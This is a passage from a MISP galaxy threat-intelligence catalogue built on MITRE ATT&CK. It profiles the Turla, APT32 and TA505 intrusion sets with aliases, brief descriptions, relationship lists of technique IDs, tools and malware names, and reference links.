- uses: misp-galaxy:mitre-attack-pattern="Symmetric Cryptography - T1573.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PowerShower - S0441" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="VBShower - S0442" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Multi-hop Proxy - T1090.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="LaZagne - S0349" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Template Injection - T1221" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Discovery - T1518" with estimative-language:likelihood-probability="almost-certain"

Table 5033. Table References

Links
https://attack.mitre.org/groups/G0100
https://securelist.com/cloud-atlas-redoctober-apt-is-back-in-style/68083/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/inception-framework-hiding-behind-proxies
https://unit42.paloaltonetworks.com/unit42-inception-attackers-target-europe-year-old-office-vulnerability/

Turla - G0010

[Turla](https://attack.mitre.org/groups/G0010) is a Russian-based threat group that has infected victims in over 45 countries, spanning a range of industries including government, embassies, military, education, research and pharmaceutical companies since 2004. Heightened activity was seen in mid-2015. [Turla](https://attack.mitre.org/groups/G0010) is known for conducting watering hole and spearphishing campaigns and leveraging in-house tools and malware. [Turla](https://attack.mitre.org/groups/G0010)'s espionage platform is mainly used against Windows machines, but has also been seen used against macOS and Linux machines.(Citation: Kaspersky Turla)(Citation: ESET Gazer Aug 2017)(Citation: CrowdStrike VENOMOUS BEAR)(Citation: ESET Turla Mosquito Jan 2018)

The tag is: *misp-galaxy:mitre-intrusion-set="Turla - G0010"*

Turla - G0010 is also known as:

- Turla
- IRON HUNTER
- Group 88
- Belugasturgeon
- Waterbug
- WhiteBear
- VENOMOUS BEAR
- Snake
- Krypton

View relationships graph

Turla - G0010 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="certutil - S0160" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell Profile - T1546.013" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internet Connection Discovery - T1016.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Group Policy Discovery - T1615" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Removable Media - T1025" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malware - T1587.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domain Account - T1087.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="TinyTurla - S0668" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Domain Groups - T1069.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="HyperStack - S0537" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Tasklist - S0057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Arp - S0099" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Service Discovery - T1007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Empire - S0363" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Peripheral Device Discovery - T1120" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Virtual Private Server - T1584.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Local System - T1005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="netstat - S0104" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Kazuar - S0265" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing Policy Modification - T1553.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Create Process with Token - T1134.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Winlogon Helper DLL - T1547.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Epic - S0091" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="LightNeuron - S0395" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Proxy - T1090" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Gazer - S0168" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malware - T1588.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Systeminfo - S0096" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Uroburos - S0022" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Discovery - T1057" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Crutch - S0538" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Mosquito - S0256" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Local Groups - T1069.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Brute Force - T1110" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Services - T1584.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Indicator Removal from Tools - T1027.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="IronNetInjector - S0581" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="nbtstat - S0102" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Password Policy Discovery - T1201" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="NBTscan - S0590" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Carbon - S0335" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Bidirectional Communication - T1102.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT26" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Security Software Discovery - T1518.001" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Python - T1059.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Reg - S0075" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Penquin - S0587" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Data from Information Repositories - T1213" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Credential Manager - T1555.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="ComRAT - S0126" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PowerStallion - S0393" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Server - T1584.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Time Discovery - T1124" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic-link Library Injection - T1055.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Internal Proxy - T1090.001" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="Turla" with estimative-language:likelihood-probability="likely"
- uses: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-tool="PsExec - S0029" with estimative-language:likelihood-probability="almost-certain"

Table 5034. Table References

Links
http://www.secureworks.com/research/threat-profiles/iron-hunter
https://attack.mitre.org/groups/G0010
https://blog.talosintelligence.com/2021/09/tinyturla.html
https://securelist.com/introducing-whitebear/81638/
https://securelist.com/the-epic-turla-operation/65545/
https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity
https://www.crowdstrike.com/blog/meet-crowdstrikes-adversary-of-the-month-for-march-venomous-bear/
https://www.leonardocompany.com/documents/20142/10868623/Malware+Technical+Insight+_Turla+%E2%80%9CPenquin_x64%E2%80%9D.pdf
https://www.threatminer.org/report.php?q=waterbug-attack-group.pdf&y=2015#gsc.tab=0&gsc.q=waterbug-attack-group.pdf&gsc.page=1
https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/
https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf
https://www.welivesecurity.com/wp-content/uploads/2018/01/ESET_Turla_Mosquito.pdf

APT32 - G0050

[APT32](https://attack.mitre.org/groups/G0050) is a suspected Vietnam-based threat group that has been active since at least 2014. The group has targeted multiple private sector industries as well as foreign governments, dissidents, and journalists with a strong focus on Southeast Asian countries like Vietnam, the Philippines, Laos, and Cambodia. They have extensively used strategic web compromises to compromise victims.(Citation: FireEye APT32 May 2017)(Citation: Volexity OceanLotus Nov 2017)(Citation: ESET OceanLotus)

The tag is: *misp-galaxy:mitre-intrusion-set="APT32 - G0050"*

APT32 - G0050 is also known as:

- APT32
- SeaLotus
- OceanLotus
- APT-C-00

View relationships graph

APT32 - G0050 has relationships with:

- uses: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Owner/User Discovery - T1033" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Keylogging - T1056.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Linux and Mac File and Directory Permissions Modification - T1222.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PubPrn - T1216.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Match Legitimate Name or Location - T1036.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Account - T1087.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="ipconfig - S0100" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Service - T1543.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Office Application Startup - T1137" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1598.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Arp - S0099" with estimative-language:likelihood-

probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Drive-by Target - T1608.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials in Registry - T1552.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Share Discovery - T1135" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Upload Malware - T1608.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Domains - T1583.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Process Injection - T1055" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Timestomp - T1070.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Gather Victim Identity Information - T1589" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mail Protocols - T1071.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="netsh - S0108" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Binary Padding - T1027.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Shell - T1505.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Clear Windows Event Logs - T1070.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Addresses - T1589.002" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="System Network Configuration Discovery - T1016" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File and Directory Discovery - T1083" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Masquerade Task or Service - T1036.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="KOMPROGO - S0156" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="System Network Connections Discovery - T1049" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Service - T1102" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Mshta - T1218.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Services - T1583.006" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Kerrdown - S0585" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Software Deployment Tools - T1072" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over C2 Channel - T1041" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="WINDSHIELD - S0155" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="SOUNDBITE - S0157" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Registry Run Keys / Startup Folder - T1547.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Cobalt Strike - S0154" with estimative-language:likelihood-probability="almost-certain"
- similar: misp-galaxy:threat-actor="APT32" with estimative-language:likelihood-

probability="likely"

- uses: misp-galaxy:mitre-tool="Mimikatz - S0002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="OSX_OCEANLOTUS.D - S0352" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Non-Standard Port - T1571" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Social Media Accounts - T1585.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Privilege Escalation - T1068" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rename System Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exploitation for Client Execution - T1203" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Lateral Tool Transfer - T1570" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Query Registry - T1012" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Uncommonly Used Port - T1065" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Window - T1564.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="File Deletion - T1070.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Drive-by Compromise - T1189" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Web Protocols - T1071.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-

language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-attack-pattern="Pass the Hash - T1550.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="DLL Side-Loading - T1574.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Goopy - S0477" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Service Execution - T1569.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Denis - S0354" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="PHOREAL - S0158" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Custom Command and Control Protocol - T1094" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Exfiltration Over Unencrypted Non-C2 Protocol - T1048.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Local Accounts - T1078.003" with estimative-language:likelihood-probability="almost-certain"

Table 5035. Table References

Links
https://attack.mitre.org/groups/G0050
https://www.amnestyusa.org/wp-content/uploads/2021/02/Click-and-Bait_Vietnamese-Human-Rights-Defenders-Targeted-with-Spyware-Attacks.pdf
https://www.cybereason.com/blog/operation-cobalt-kitty-apt
https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html
https://www.volexity.com/blog/2017/11/06/oceanlotus-blossoms-mass-digital-surveillance-and-exploitation-of-asean-nations-the-media-human-rights-and-civil-society/
https://www.welivesecurity.com/2018/03/13/oceanlotus-ships-new-backdoor/
https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/

TA505 - G0092

[TA505](https://attack.mitre.org/groups/G0092) is a financially motivated threat group that has been active since at least 2014. The group is known for frequently changing malware and driving global trends in criminal malware distribution.(Citation: Proofpoint TA505 Sep 2017)(Citation: Proofpoint TA505 June 2018)(Citation: Proofpoint TA505 Jan 2019)

The tag is: *misp-galaxy:mitre-intrusion-set="TA505 - G0092"*

TA505 - G0092 is also known as:

- TA505
- Hive0065

View relationships graph

TA505 - G0092 has relationships with:

- uses: misp-galaxy:mitre-malware="TrickBot - S0266" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-tool="Net - S0039" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="Get2 - S0460" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Permission Groups Discovery - T1069" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Dynamic Data Exchange - T1559.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Malicious File - T1204.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Fast Flux DNS - T1568.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Link - T1566.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Code Signing - T1553.002" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Msiexec - T1218.007" with estimative-language:likelihood-probability="almost-certain"

- uses: misp-galaxy:mitre-malware="FlawedGrace - S0383" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-malware="FlawedAmmyy - S0381" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Email Account - T1087.003" with estimative-language:likelihood-probability="almost-certain"
- uses: misp-galaxy:mitre-attack-pattern="Credentials from Web Browsers - T1555.003" with estimative-language:likelihood-probability="almost-certain"
